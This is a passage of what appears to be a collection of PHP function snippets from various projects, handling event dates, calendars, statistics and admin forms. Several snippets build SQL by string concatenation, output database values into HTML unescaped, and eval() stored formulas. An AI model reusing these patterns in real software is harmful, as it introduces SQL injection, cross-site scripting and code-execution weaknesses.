/>\r\n\t\t\t\t<table>\r\n\t\t\t\t\t<tr>\r\n\t\t\t\t\t\t<td>\" . $admin_lang['date'] . \":</td>\r\n\t\t\t\t\t\t<td>\" . $admin_lang['location'] . \":</td>\r\n\t\t\t\t\t\t<td>\" . $admin_lang['topic'] . \":</td>\r\n\t\t\t\t\t\t<td>\" . $admin_lang['creator'] . \":</td>\r\n\t\t\t\t\t\t<td>\" . $admin_lang['actions'] . \":</td>\r\n\t\t\t\t\t</tr>\\r\\n\";\r\n\t\t//\r\n\t\t// write all news entries\r\n\t\t//\r\n\t\t$result = db_result(\"SELECT * FROM \" . DB_PREFIX . \"dates ORDER BY date_date ASC\");\r\n\t\twhile($row = mysql_fetch_object($result)) {\r\n\t\t\t//\r\n\t\t\t// show an editform for the selected entrie\r\n\t\t\t//\r\n\t\t\tif($extern_id == $row->date_id && $extern_action == \"edit\") {\r\n\t\t\t\t$out .= \"\\t\\t\\t\\t\\t<tr id=\\\"dateid\" . $row->date_id . \"\\\">\r\n\t\t\t\t\t\t<td>\r\n\t\t\t\t\t\t\t<input type=\\\"hidden\\\" name=\\\"id\\\" value=\\\"\".$row->date_id.\"\\\" />\r\n\t\t\t\t\t\t\t<input type=\\\"text\\\" name=\\\"date\\\" maxlength=\\\"10\\\" value=\\\"\" . date(\"d.m.Y\", $row->date_date) . \"\\\" />\r\n\t\t\t\t\t\t</td>\r\n\t\t\t\t\t\t<td>\r\n\t\t\t\t\t\t\t<input type=\\\"text\\\" name=\\\"place\\\" maxlength=\\\"60\\\" value=\\\"\" . $row->date_place . \"\\\" />\r\n\t\t\t\t\t\t</td>\r\n\t\t\t\t\t\t<td>\r\n\t\t\t\t\t\t\t<input type=\\\"text\\\" name=\\\"topic\\\" value=\\\"\" . $row->date_topic . \"\\\" maxlength=\\\"150\\\" />\r\n\t\t\t\t\t\t</td>\r\n\t\t\t\t\t\t<td>\r\n\t\t\t\t\t\t\t\" . getUserByID($row->date_creator) . \"\r\n\t\t\t\t\t\t</td>\r\n\t\t\t\t\t\t<td>\r\n\t\t\t\t\t\t\t<input type=\\\"submit\\\" value=\\\"Speichern\\\" class=\\\"button\\\" />\r\n\t\t\t\t\t\t\t <a href=\\\"admin.php?page=dates&action=delete&id=\".$row->date_id.\"\\\" title=\\\"Löschen\\\">Löschen</a>\r\n\t\t\t\t\t\t</td>\r\n\t\t\t\t\t</tr>\";\r\n\t\t\t}\r\n\t\t\t//\r\n\t\t\t// show only the entrie\r\n\t\t\t//\r\n\t\t\telse {\r\n\t\t\t\t$out .= \"\\t\\t\\t\\t\\t<tr ID=\\\"dateid\" . $row->date_id . \"\\\">\r\n\t\t\t\t\t\t<td>\r\n\t\t\t\t\t\t\t\" . date(\"d.m.Y\", $row->date_date) . \"\r\n\t\t\t\t\t\t</td>\r\n\t\t\t\t\t\t<td>\r\n\t\t\t\t\t\t\t\" . $row->date_place . \"\r\n\t\t\t\t\t\t</td>\r\n\t\t\t\t\t\t<td>\r\n\t\t\t\t\t\t\t\" . nl2br($row->date_topic) . \"\r\n\t\t\t\t\t\t</td>\r\n\t\t\t\t\t\t<td>\r\n\t\t\t\t\t\t\t\" . getUserByID($row->date_creator) . \"\r\n\t\t\t\t\t\t</td>\r\n\t\t\t\t\t\t<td colspan=\\\"2\\\">\r\n\t\t\t\t\t\t\t<a href=\\\"admin.php?page=dates&action=edit&id=\".$row->date_id.\"#dateid\".$row->date_id.\"\\\" title=\\\"Bearbeiten\\\">Bearbeiten</a>\r\n\t\t\t\t\t\t\t <a href=\\\"admin.php?page=dates&action=delete&id=\".$row->date_id.\"\\\" title=\\\"Löschen\\\">Löschen</a>\r\n\t\t\t\t\t\t</td>\r\n\t\t\t\t\t</tr>\\r\\n\";\r\n\t\t\t}\r\n\t\t}\r\n\t\t$out .= \"\\t\\t\\t\\t</table>\r\n\t\t\t</form>\";\r\n\t\r\n\t\treturn $out;\r\n \t}",
"public function hideEndDateWhenEmpty(DataContainer $dc)\r\n {\r\n $date = $this->Database->prepare(\"SELECT id, start_date FROM tl_ausschreibung WHERE start_date!='' AND end_date=''\")->execute();\r\n while ($row = $date->next())\r\n {\r\n $end_date = $this->Database->prepare(\"UPDATE tl_ausschreibung SET end_date = ? WHERE id = ?\");\r\n $end_date->execute($row->start_date, $row->id);\r\n }\r\n //Wenn end-datum leer ist, wird es ausgeblendet, das ist der Fall beim Erstellen neuer Anlaesse\r\n if ($dc->id != \"\" && $this->Input->get('mode') != 'csv_import')\r\n {\r\n\r\n $date = $this->Database->prepare(\"SELECT start_date FROM tl_ausschreibung WHERE id = ?\")->execute($dc->id);\r\n $date->fetchAssoc();\r\n if ($date->start_date == \"\")\r\n {\r\n $GLOBALS['TL_DCA']['tl_ausschreibung']['palettes']['default'] = 'start_date, art, ort, wettkampfform; zeit, trainer; kommentar; phase, trainingsstunden';\r\n }\r\n }\r\n\r\n }",
"public function status() {\n $content = [];\n\n //$schema = drupal_get_module_schema('Ezac', 'starts');\n\n // show record count for each Code value\n $headers = [\n t(\"Jaar\"),\n t(\"Aantal vliegdagen\"),\n t(\"Uitvoer\"),\n ];\n \n $total = 0;\n $condition = [];\n $sortkey = [\n '#key' => 'datum',\n '#dir' => 'DESC',\n ];\n $datums = array_unique(EzacStart::index($condition, 'datum', $sortkey));\n $jaren = [];\n foreach ($datums as $datum) {\n $dp = date_parse($datum);\n $year = $dp['year'];\n if (isset($jaren[$year])) $jaren[$year]++;\n else $jaren[$year] = 1;\n }\n foreach ($jaren as $jaar => $aantal) {\n $count = $aantal;\n $total = $total+$count;\n $urlJaar = Url::fromRoute(\n 'ezac_starts_overzicht',\n [\n 'datum' => \"$jaar-01-01:$jaar-12-31\",\n ]\n )->toString();\n $urlExport = Url::fromRoute(\n 'ezac_starts_export_jaar',\n [\n 'filename' => \"Starts-$jaar.csv\",\n 'jaar' => $jaar\n ]\n )->toString();\n $rows[] = [\n t(\"<a href=$urlJaar>$jaar</a>\"),\n $count,\n t(\"<a href=$urlExport>Starts-$jaar.csv</a>\"),\n ];\n }\n // add line for totals\n $urlExport = Url::fromRoute(\n 'ezac_starts_export',\n [\n 'filename' => \"Starts.csv\",\n ]\n )->toString();\n $rows[]= [\n t('Totaal'),\n $total,\n t(\"<a href=$urlExport>Starts.csv</a>\"),\n ];\n //build table\n $content['table'] = [\n '#type' => 'table',\n '#caption' => t(\"Jaar overzicht van het EZAC STARTS bestand\"),\n '#header' => $headers,\n '#rows' => $rows,\n '#empty' => t('Geen gegevens beschikbaar.'),\n '#sticky' => TRUE,\n ];\n\n // Don't cache this page.\n $content['#cache']['max-age'] = 0;\n\n return $content;\n }",
"function LoadWeek($WeekNumber)\n {\n //Construction du tableau\n $days = array('lundi', 'mardi', 'mercredi', 'jeudi', 'vendredi','samedi','dimanche');\n\n //Semaine en cours\n $week = ($WeekNumber == 'current')? date('W') : $WeekNumber;\n $year = date('Y');\n echo $StartDate = Date::GetFirstDay($week, $year);\n\n //Affichage de la semaine et des controles de selection\n $html = $this->GetTool($week);\n\n $html .= \"<div class='content-panel'>\";\n //Tableau de la semaine\n $html .= \"<table id='taAgenda' class='calendar'>\";\n\n //Entete\n $html .= '<tr>';\n $html .= '<td class=\"subTitle\"></td>';\n\n //\n $dateDay = array();\n foreach($days as $day)\n {\n //Creation de la date actuelle\n $dateDay[] = $StartDate;\n\n $html .=\t'<th class=\"subTitle\">'.$this->Core->GetCode($day);\n $html .= '<span class=\"calendar date\">'.$StartDate.'</span>';\n $html .= '</th>';\n\n $StartDate = Date::AddDay($StartDate, 1);\n }\n\n //Creation des lignes\n $html .= '</tr>';\n\n //recuperation des evenements de l'utilisateur\n echo \"DateStart : \" . $DateStart = Date::AddDay($dateDay[0],-1, true);\n echo \"Date End :\" . $DateEnd = Date::AddDay($dateDay[0],7, true);\n\n $AgendaEvent = new AgendaEvent($this->Core);\n $AgendaEvent->AddArgument(new Argument(\"Apps\\Agenda\\Entity\\AgendaEvent\", \"UserId\", EQUAL, $this->Core->User->IdEntite));\n $AgendaEvent->AddArgument(new Argument(\"Apps\\Agenda\\Entity\\AgendaEvent\", \"DateStart\", MORE, $DateStart));\n $AgendaEvent->AddArgument(new Argument(\"Apps\\Agenda\\Entity\\AgendaEvent\", \"DateEnd\", LESS, $DateEnd));\n $EventsUser = $AgendaEvent->GetByArg();\n\n //Recuperation Des évenement ou l'utilisateur est invités\n $EventInvits = AgendaEvent::GetInvitation($this->Core, $this->Core->User->IdEntite, $DateStart, $DateEnd);\n\n for($hours=0; $hours < 24; $hours++)\n {\n $html .= '<tr>';\n\n if($hours < 10)\n {\n $hours = \"0\".$hours;\n }\n\n $html .= '<td>'.$hours.':00</td>';\n\n //Parcourt des jours\n //foreach($dateDay as $day)\n for($d = 0; $d < count($dateDay) ; $d++ )\n {\n //Charge un tableau avec touts les rendez-vous\n $drawCell = true;\n\n //Parcourt des rendez-vous de l'utilisateur\n if(count($EventsUser) > 0)\n {\n foreach($EventsUser as $event)\n {\n echo \"DATE :\" . $event->DateStart->Value . \"\" . $dateDay[$d].' '.$hours.':00:00';\n \n //Evenement qui commence dans la cellule\n if($event->DateStart->Value == $dateDay[$d].' '.$hours.':00:00' )\n {\n //Dimension de l'evenement\n $rowSpan = DateHelper::GetDiffHour($event->DateStart->Value, $event->DateEnd->Value);\n $colSpan = DateHelper::GetDiffDay($event->DateStart->Value, $event->DateEnd->Value);\n\n\n //Affichage de la cellule\n $html .=\t '<td id=\"'.$dateDay[$d].'!'.$hours.'\" >';\n $html .= $this->GetEvent($event, $colSpan, $rowSpan);\n $html.='</td>';\n\n $drawCell = false;\n }\n }\n }\n\n //Evenements invités\n if(count($EventInvits) > 0)\n {\n foreach($EventInvits as $event)\n {\n //Evenement qui commence dans la cellule\n if($event->Event->Value->DateStart->Value == $dateDay[$d].' '.$hours.':00:00' )\n {\n //Dimension de l'evenement\n $rowSpan = DateHelper::GetDiffHour($event->Event->Value->DateStart->Value, $event->Event->Value->DateEnd->Value);\n $colSpan = DateHelper::GetDiffDay($event->Event->Value->DateStart->Value, $event->Event->Value->DateEnd->Value);\n\n //Affichage de la cellule\n //$html .=\t '<td id=\"'.$day.'!'.$hours.'\" colspan=\"'.$colSpan.'\" rowspan=\"'.$rowSpan.'\" >';\n $html .=\t '<td id=\"'.$dateDay[$d].'!'.$hours.'\" >';\n\n $html .=\t$this->GetInvit($event, $colSpan, $rowSpan);\n $html.='</td>';\n\n $drawCell = false;\n }\n }\n }\n\n //La cellule n'a pas d'évenement\n if($drawCell)\n {\n $html .=\t '<td id=\"'.$dateDay[$d].'!'.$hours.'\"></td>';\n }\n }\n\n $html .= '</tr>';\n }\n $html .= \"</table'>\";\n\n $html .= \"</div>\";\n\n echo $html;\n }",
"public function getDate(){\n\t\treturn $this->laDate;\n\t}",
"function get_stattovday($dt){\n\t\t$dt1=$dt+24*60*60;\n\t\t$cnt='<table align=\"center\" cellspacing=\"0\" cellpadding=\"0\" width=\"100%\" class=\"selstr\"><tbody><tr><th class=\"news_header lft\">Код</th><th class=\"news_header lft\">Наименование</th><th class=\"news_header cen\">Кол-во</th><th class=\"news_header rgt\">Сумма</th></tr>';\n\t\tglobal $db;\n\t\t$qy = $db->get_rows(\"select sum((o.summa-o.summa*o.skidka/100) * o.count ) as sm, sum(o.count) as cnt,p.title, p.param_kodtovara,o.prd_id from chudo_ishop_order_idet o ,chudo_ishop_products p, chudo_ishop_order_i c where c.data>=\".$dt.\" and c.data<\".$dt1.\" and o.order_id=c.id and p.id=o.prd_id group by o.prd_id order by p.param_kodtovara\");\n\t\tforeach($qy as $id=>$row){\n\t\t\t$cnt.='<tr><td class=\"news_td lft\">'.$row['param_kodtovara'].'</td><td class=\"news_td lft cli\" onclick=\"view_statdt(this,'.$dt.','.$row['prd_id'].')\">'.$row['title'].'</td><td class=\"news_td cen\">'.$row['cnt'].'</td><td class=\"news_td rgt\">'.number_format($row['sm'],2,'.',\"\").'</td></tr>';\n\t\t}\n\t\t$cnt.='</tbody></table><!--'.$dt.'-->';\n\t\treturn $cnt;\n\t}",
"function get_openstaandeDossiersStatistiek() {\n $jaren = $this->db->query(\"select distinct year from view_statOpenstaandeDossiers\");\n if (!$jaren) {\n $this->error(\"Check query in get_openstaandeDossiersStatistiek in klasse functioneelBeheer_model\");\n }\n while ($row = $jaren->fetch_assoc()) {\n $rows[] = $row;\n }\n foreach ($rows as $var) {\n if (date(\"Y\") == $var[year]) {\n $huidig_jaar = $var[year];\n } else {\n $huidig_jaar = date(\"Y\");\n }\n }\n $vorig_jaar = $huidig_jaar - 1;\n $twee_jaar = $huidig_jaar - 2;\n\n $result = $this->db->query(\"select * from view_statOpenstaandeDossiers\");\n if (!$result) {\n $this->error(\"Check query in get_openstaandeDossiersStatistiek in klasse functioneelBeheer_model\");\n }\n $associativeArray = array(\n $twee_jaar => array(\n 1 => 0,\n 2 => 0,\n 3 => 0,\n 4 => 0,\n 5 => 0,\n 6 => 0,\n 7 => 0,\n 8 => 0,\n 9 => 0,\n 10 => 0,\n 11 => 0,\n 12 => 0),\n $vorig_jaar => array(\n 1 => 0,\n 2 => 0,\n 3 => 0,\n 4 => 0,\n 5 => 0,\n 6 => 0,\n 7 => 0,\n 8 => 0,\n 9 => 0,\n 10 => 0,\n 11 => 0,\n 12 => 0),\n $huidig_jaar => array(\n 1 => 0,\n 2 => 0,\n 3 => 0,\n 4 => 0,\n 5 => 0,\n 6 => 0,\n 7 => 0,\n 8 => 0,\n 9 => 0,\n 10 => 0,\n 11 => 0,\n 12 => 0)\n );\n while ($row = mysqli_fetch_array($result)) {\n $associativeArray[$row['year']][$row['month']] = $row['aantalDossiers'];\n }\n return array($huidig_jaar, $vorig_jaar, $twee_jaar, $associativeArray);\n }",
"function RellenarTitulo()\r\n {\r\n $this->Imprimir('ANÁLSIS DE FALLAS DE DISTRIBUCIÓN');\r\n\r\n $this->Imprimir($this->convocatoria->getLugar(), 93, 10);\r\n\r\n $this->Imprimir(strftime(\"%A %d de %B de %Y\", strtotime($this->convocatoria->getFecha())) .\r\n ' - Hora: ' . $this->convocatoria->getHoraIni() . ' a ' .\r\n $this->convocatoria->getHoraFin(), 95, 10, 16);\r\n }",
"function leerlafecha($fechaentrada, $idioma) {\n\t\t//devuelve variables en el idioma dado por la variable $idioma que puede valer 'cas' o 'cat'\n\t\t//Así podremos leer la fecha en formato humanoide.\n\t\t\n\t\tdate_default_timezone_set('Europe/Madrid');\t//Esta definicion de la zona horaria me la pide el php del hosting en freehostia.com para dejarme usar strtotime en el script\n\t\t\n\t\t//Dependiendo del idioma definimos los nombres de los meses del año y los dias de la semana\n\t\tif ($idioma == 'cat' or empty($idioma)) {$anno = array (\"gener\", \"febrer\", \"març\", \"abril\", \"maig\", \"juny\", \"juliol\", \"agost\", \"setembre\", \"octubre\", \"novembre\", \" desembre \"); $dias = array ('', 'Dilluns', 'Dimarts', 'Dimecres', 'Jueves', 'Divendres', 'Dissabte', 'Diumenge');}\n\t\telse if ($idioma == 'cas') {$anno = array(\"enero\", \"febrero\", \"marzo\", \"abril\",\"mayo\",\"junio\",\"julio\",\"agosto\",\"septiembre\",\"octubre\",\"noviembre\",\"diciembre\"); $dias = array('','Lunes','Martes','Miercoles','Jueves','Viernes','Sabado','Domingo');}\n\t\t\n\t\tif (empty($fechaentrada)==false){\n\t\t\t$dia = substr ($fechaentrada, 8 , 2 ); //número del dia\n\t\t\t$mesnumerico = substr($fechaentrada,5,2); //número del mes\n\t\t\t$ano = substr ($fechaentrada,0,4); //número del año\n\t\t\t$indicemes = intval($mesnumerico) - 1;\n\t\t\t$nombremes = $anno[$indicemes]; //nombre del mes en el idioma escojido\n\t\t\t$nombredia = $dias[date('N', strtotime($fechaentrada))]; //nombre del dia en el idioma elejido\n\t\t}\n\t\t\n\t\t return array ($dia,$mesnumerico,$ano,$nombremes,$nombredia);\n\t\t\n\t}",
"public function getDados()\n {\n $aLinhas = array();\n\n /**\n * montamos as datas, e processamos o balancete de verificação\n */\n $oDaoPeriodo = db_utils::getDao(\"periodo\");\n $sSqlDadosPeriodo = $oDaoPeriodo->sql_query_file($this->iCodigoPeriodo);\n $rsPeriodo = db_query($sSqlDadosPeriodo);\n $oDadosPerido = db_utils::fieldsMemory($rsPeriodo, 0);\n $sDataInicial = \"{$this->iAnoUsu}-01-01\";\n $iUltimoDiaMes = cal_days_in_month(CAL_GREGORIAN, $oDadosPerido->o114_mesfinal, $this->iAnoUsu);\n $sDataFinal = \"{$this->iAnoUsu}-{$oDadosPerido->o114_mesfinal}-{$iUltimoDiaMes}\";\n $sWherePlano = \" c61_instit in ({$this->getInstituicoes()}) \";\n /**\n * processa o balancete de verificação\n */\n $rsPlano = db_planocontassaldo_matriz($this->iAnoUsu,\n $sDataInicial,\n $sDataFinal,\n false,\n $sWherePlano,\n '',\n 'true',\n 'true');\n\n $iTotalLinhasPlano = pg_num_rows($rsPlano);\n /**\n * percorremos a slinhas cadastradas no relatorio, e adicionamos os valores cadastrados manualmente.\n */\n $aLinhasRelatorio = $this->oRelatorioLegal->getLinhasCompleto();\n for ($iLinha = 1; $iLinha <= count($aLinhasRelatorio); $iLinha++) {\n\n $aLinhasRelatorio[$iLinha]->setPeriodo($this->iCodigoPeriodo);\n $aColunasRelatorio = $aLinhasRelatorio[$iLinha]->getCols($this->iCodigoPeriodo);\n $aColunaslinha = array();\n $oLinha = new stdClass();\n $oLinha->totalizar = $aLinhasRelatorio[$iLinha]->isTotalizador();\n $oLinha->descricao = $aLinhasRelatorio[$iLinha]->getDescricaoLinha();\n $oLinha->colunas = $aColunasRelatorio;\n $oLinha->nivellinha = $aLinhasRelatorio[$iLinha]->getNivel();\n foreach ($aColunasRelatorio as $oColuna) {\n\n $oLinha->{$oColuna->o115_nomecoluna} = 0;\n if ( !$aLinhasRelatorio[$iLinha]->isTotalizador() ) {\n $oColuna->o116_formula = '';\n }\n }\n\n if (!$aLinhasRelatorio[$iLinha]->isTotalizador()) {\n\n $aValoresColunasLinhas = $aLinhasRelatorio[$iLinha]->getValoresColunas(null, null, $this->getInstituicoes(),\n $this->iAnoUsu);\n\n $aParametros = $aLinhasRelatorio[$iLinha]->getParametros($this->iAnoUsu, $this->getInstituicoes());\n foreach($aValoresColunasLinhas as $oValor) {\n foreach ($oValor->colunas as $oColuna) {\n $oLinha->{$oColuna->o115_nomecoluna} += $oColuna->o117_valor;\n }\n }\n\n /**\n * verificamos se a a conta cadastrada existe no balancete, e somamos o valor encontrado na linha\n */\n for ($i = 0; $i < $iTotalLinhasPlano; $i++) {\n\n $oResultado = db_utils::fieldsMemory($rsPlano, $i);\n\n\n $oParametro = $aParametros;\n\n foreach ($oParametro->contas as $oConta) {\n\n $oVerificacao = $aLinhasRelatorio[$iLinha]->match($oConta, $oParametro->orcamento, $oResultado, 3);\n\n if ($oVerificacao->match) {\n\n $this->buscarInscricaoEBaixa($oResultado, $iLinha, $sDataInicial, $sDataFinal);\n\n if ( $oVerificacao->exclusao ) {\n\n $oResultado->saldo_anterior *= -1;\n $oResultado->saldo_anterior_debito *= -1;\n $oResultado->saldo_anterior_credito *= -1;\n $oResultado->saldo_final *= -1;\n }\n\n $oLinha->sd_ex_ant += $oResultado->saldo_anterior;\n $oLinha->inscricao += $oResultado->saldo_anterior_credito;\n $oLinha->baixa += $oResultado->saldo_anterior_debito;\n $oLinha->sd_ex_seg += $oResultado->saldo_final;\n }\n }\n }\n }\n $aLinhas[$iLinha] = $oLinha;\n }\n\n unset($aLinhasRelatorio);\n\n /**\n * calcula os totalizadores do relatório, aplicando as formulas.\n */\n foreach ($aLinhas as $oLinha) {\n\n if ($oLinha->totalizar) {\n\n foreach ($oLinha->colunas as $iColuna => $oColuna) {\n\n if (trim($oColuna->o116_formula) != \"\") {\n\n $sFormulaOriginal = ($oColuna->o116_formula);\n $sFormula = $this->oRelatorioLegal->parseFormula('aLinhas', $sFormulaOriginal, $iColuna, $aLinhas);\n $evaluate = \"\\$oLinha->{$oColuna->o115_nomecoluna} = {$sFormula};\";\n ob_start();\n eval($evaluate);\n $sRetorno = ob_get_contents();\n ob_clean();\n if (strpos(strtolower($sRetorno), \"parse error\") > 0 || strpos(strtolower($sRetorno), \"undefined\" > 0)) {\n $sMsg = \"Linha {$iLinha} com erro no cadastro da formula<br>{$oColuna->o116_formula}\";\n throw new Exception($sMsg);\n\n }\n }\n }\n }\n }\n\n return $aLinhas;\n }",
"public function groupes_ali_et_cal() {\n\t\tfunction dateenlettre($date) {\n\t\t\t$split = explode(\"-\",$date);\n\t\t\t$jour = $split[2];\n\t\t\t$mois = $split[1];\n\t\t\t$annee = $split[0];\n\t\t\t$newTimestamp = mktime(12,0,0,$mois,$jour,$annee);\n\t\t\t \n\t\t\t$Jour = array(\"Dimanche\",\"Lundi\",\"Mardi\",\"Mercredi\",\"Jeudi\",\"Vendredi\",\"Samedi\");\n\t\t\t$Mois = array(\"\",\"Janvier\",\"Février\",\"Mars\",\"Avril\",\"Mai\",\"Juin\",\"Juillet\",\"Août\",\"Septembre\",\"Octobre\",\"Novembre\",\"Décembre\");\n\t\t\t \n\t\t\treturn $Jour[date(\"w\", $newTimestamp)] . ' ' . $jour . ' ' . $Mois[date(\"n\", $newTimestamp)] . ' ' . $annee;\n\t\t}\n\t\t\n\t\t// Fonction qui renvoi le nombre de jours entre deux dates\n\t\tfunction jours($date1, $date2){\n\t\t\t$diff = abs($date1 - $date2); \n\t\t\t$retour = array();\n\t\t \n\t\t\t$tmp = $diff;\n\t\t\t$retour['second'] = $tmp % 60;\n\t\t \n\t\t\t$tmp = floor( ($tmp - $retour['second']) /60 );\n\t\t\t$retour['minute'] = $tmp % 60;\n\t\t\t\n\t\t\t$tmp = floor( ($tmp - $retour['minute'])/60 );\n\t\t\t$retour['hour'] = $tmp % 24;\n\t\t\t\t \n\t\t\t$tmp = floor( ($tmp - $retour['hour']) /24 );\n\t\t\t$retour['day'] = $tmp;\n\t\t\t\t \n\t\t\treturn $retour['day'];\n\t\t}\n\t\t\n\t\t\n\t\t$id = AuthComponent::user('id');\n\t\tsetlocale (LC_TIME, 'fr_FR.utf8','fra');\n\t\t$date = date('Y-m-d');\n\t\t\n\t\t$this->set('debut',null);\n\t\t$this->set('fin',null);\n\t\tif ($this->request->is('post')) {\n\t\t\t/* Vérification des informations envoyées */\n\t\t\t$message;\n\t\t\t$stop = false;\n\t\t\t$deb = $_POST['debut'];\n\t\t\t$fin = $_POST['fin'];\n\t\t\t\n\t\t\tif (!(preg_match(\"/^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])$/\",$deb))) {\n\t\t\t\t$stop = true;\n\t\t\t\t$message = \"Erreur, la date de début est invalide, elle doit être sous format 'YYYY-MM-DD'\";\n\t\t\t} elseif (!(preg_match(\"/^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])$/\",$fin))) {\n\t\t\t\t$stop = true;\n\t\t\t\t$message = \"Erreur, la date de fin est invalide, elle doit être sous format 'YYYY-MM-DD'\";\n\t\t\t} else {\n\t\t\t\tif ($deb > $date ) {\n\t\t\t\t\t$stop = true;\n\t\t\t\t\t$message = \"Erreur, la date de debut ne peut être supérieure à la date d'aujourd'hui\";\n\t\t\t\t} elseif ($fin > $date) {\n\t\t\t\t\t$stop = true;\n\t\t\t\t\t$message = \"Erreur, la date de debut ne peut être supérieure à la date d'aujourd'hui\";\n\t\t\t\t}\n\t\t\t\tif ($deb == $fin) {\n\t\t\t\t\t$stop = true;\n\t\t\t\t\t$message = \"Erreur, la date de debut ne peut être égale à la date de fin\";\n\t\t\t\t} elseif ($deb > $fin) {\n\t\t\t\t\t$stop = true;\n\t\t\t\t\t$message = \"Erreur, la date de debut ne peut être supérieure à la date de fin\";\n\t\t\t\t}\n\t\t\t\t$this->set('debut',$deb);\n\t\t\t\t$this->set('fin',$fin);\n\t\t\t}\n\t\t\t/* fin vérif */\n\t\t\tif ($stop) {\n\t\t\t\t$this->Session->setFlash(__($message));\n\t\t\t} else {\n\t\t\t\t$fin = $fin . ' 23:59:59';\n\t\t\t\t$repas = $this->Suivialimentaire->find('all',array('conditions' => array('AND' => array(\n\t\t\t\t\t\t\t\tarray('id_user' => $id),\n\t\t\t\t\t\t\t\tarray('Suivialimentaire.created BETWEEN ? AND ?' => array($deb, $fin))\n\t\t\t\t)),'order' => array('Suivialimentaire.created DESC') ));\n\t\t\t\t$temp = $repas;\n\t\t\t\t$i = 0;\n\t\t\t\tforeach ($repas as $r) {\n\t\t\t\t\t$temp[$i]['Aliment']= $this->Aliment->find('first', array('conditions' => array('Aliment.id' => $r['Suivialimentaire']['id_aliment'])));\n\t\t\t\t\t$i++;\n\t\t\t\t}\n\t\t\t\t$repas = $temp;\n\t\t\t\t$cal = 0;\n\t\t\t\tforeach ($repas as $rep) {\n\t\t\t\t\tif (!empty($rep['Aliment'])) {\n\t\t\t\t\t\t$cal = $cal + ($rep['Aliment']['Donneesaliment'][1]['valmoy'] * $rep['Suivialimentaire']['quantite'] * $rep['Suivialimentaire']['portion']/100) * count(explode(\"@\",$rep['Suivialimentaire']['nomSA']));\n\t\t\t\t\t} else {\n\t\t\t\t\t\t$valsplit = explode(\"@\", $rep['Alimhorsclassification']['nutri']);\n\t\t\t\t\t\t$valresul = $valsplit[1];\n\t\t\t\t\t\t$cal = $cal + ($valresul * $rep['Suivialimentaire']['quantite'] * $rep['Suivialimentaire']['portion']/100) * count(explode(\"@\",$rep['Suivialimentaire']['nomSA']));\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t$this->set('repas',$repas);\n\t\t\t\t$this->set('cal',$cal);\n\t\t\t\t$time1 = strtotime($deb);\n\t\t\t\t$time2 = strtotime($fin);\n\t\t\t\t$e=jours($time1, $time2);\n\t\t\t\t$this->set('joursDiff',$e);\n\t\t\t\t\n\t\t\t}\n\t\t}\n\t}",
"function statut_auteurs_get_statuts(){\r\n\t\r\n\t\t$statuts_installes = @unserialize($GLOBALS['meta']['statut_auteurs:autre_statut_auteur']);\r\n\t\tif (!is_array($statuts_installes)) $statuts_installes = array();\r\n\t\treturn $statuts_installes;\r\n}",
"function formulaires_publication_ouverte_agenda_charger_dist()\n{\n\t$values = array();\n\n\t$values['etape'] \t\t= _request('etape');\t\t\t// etape actuelle\n\t$values['id_article']\t \t= _request('id_article');\t\t// id de l'article temporaire\n\t$values['type']\t\t\t= \"evenement\";\t\t\t// article ou evenement ?\n\t$values['id_rubrique'] \t\t= _request('id_rubrique');\t\t// rubrique de la contrib\n\t$values['jour_evenement'] \t= _request('jour_evenement'); \t\t// jour de l'événement\n\t$values['mois_evenement'] \t= _request('mois_evenement'); \t\t// mois de l'événement\n\t$values['annee_evenement'] \t= _request('annee_evenement'); \t\t// annee de l'événement\n\t$values['heure_evenement'] \t= _request('heure_evenement'); \t\t// heure de l'événement\n\t$values['lieu_evenement']\t= _request('lieu_evenement');\t\t// lieu de l'evenement\n\t$values['ville_evenement']\t= _request('ville_evenement');\t\t// lieu de l'evenement\n\t$values['adresse_evenement']\t= _request('adresse_evenement');\t// lieu de l'evenement\n\t$values['tel_evenement']\t= _request('tel_evenement');\t\t// lieu de l'evenement\n\t$values['web_evenement']\t= _request('web_evenement');\t\t// lieu de l'evenement\n\t$values['email_evenement']\t= _request('email_evenement');\t\t// lieu de l'evenement\n\t$values['lieu_evenement_existe']= _request('lieu_evenement_existe');\t// lieu de l'evenement déjà existant\n\t$values['titre'] \t\t= _request('titre');\t\t\t// titre de la contrib\n\t$values['texte'] \t\t= _request('texte');\t\t\t// texte de la contrib\n\t$values['pseudo'] \t\t= _request('pseudo');\t\t\t// pseudo ou nom de l'auteur\n\t$values['email'] \t\t= _request('email');\t\t\t// email de l'auteur\n\t$values['mots'] \t\t= _request('mots');\t\t\t// les mots-clés\n\t$values['date'] = _request('date');\n\t$values['date_modif'] = _request('date_modif');\n\t$values['supprimer_documents'] = _request('supprimer_documents');\n\t// editos\n\t$values['mise_en_edito'] = _request('mise_en_edito');\n\t$values['edito_complet'] = _request('edito_complet');\n\t// focus\n\t$values['mot_focus'] = _request('mot_focus');\n\t// si c'est pas un debut d'article\n\tif (_request('titre') or _request('previsu'))\n\t\t$values['ancre'] = '#etape_4';\n\telse\n\t\t$values['ancre'] = '.page-article';\n\t\n\t/*\n\t * s'il s'agit du premier passage, on créé l'article\n\t */\n\tif (!$values['id_article'])\n\t{\n\t\t$id_article = indymedia_creer_article();\n\t\t$values['id_article'] = $id_article;\n\t}\n\t/*\n\t * sinon, si admin, on peut l'éditer\n\t */\n\telse if ($values['id_article'] && est_admin())\n\t{\n\t\t$id_article = (int) $values['id_article'];\n\t\t// on recupere des infos sur l'article\t\n\t\t$row = sql_fetsel(\n\t\t\tarray('texte','extra','id_rubrique','titre','date_debut_indy','statut','date'),\n\t\t\tarray('spip_articles'),\n\t\t\tarray('id_article='.$id_article)\n\t\t);\n\t\t$values['texte'] = $row['texte'] ;\n\t\t$values['titre'] = $row['titre'] ;\n\t\t$values['id_rubrique'] = $row['id_rubrique'] ;\n\t\t//$values['statut'] = $row['statut'] ;\n\t\t$extra = unserialize($row['extra']);\n\t\t$values['explication'] = $extra['OP_moderation'];\n\t\t$values['pseudo'] = $extra['OP_pseudo'];\n\t\t$values['email'] = $extra['OP_email'];\n\t\t$values['date'] = $row['date'];\n\t\t\n\t\t// on recupere la date, l'heure et le lieu de l'evenement\n\t\t$values = indymedia_ajout_valeurs_date ($values, $row['date_debut_indy']);\n\t\t$values = indymedia_ajout_valeurs_lieu ($values, $id_article);\n\t\t$values = indymedia_ajout_valeurs_mots ($values, 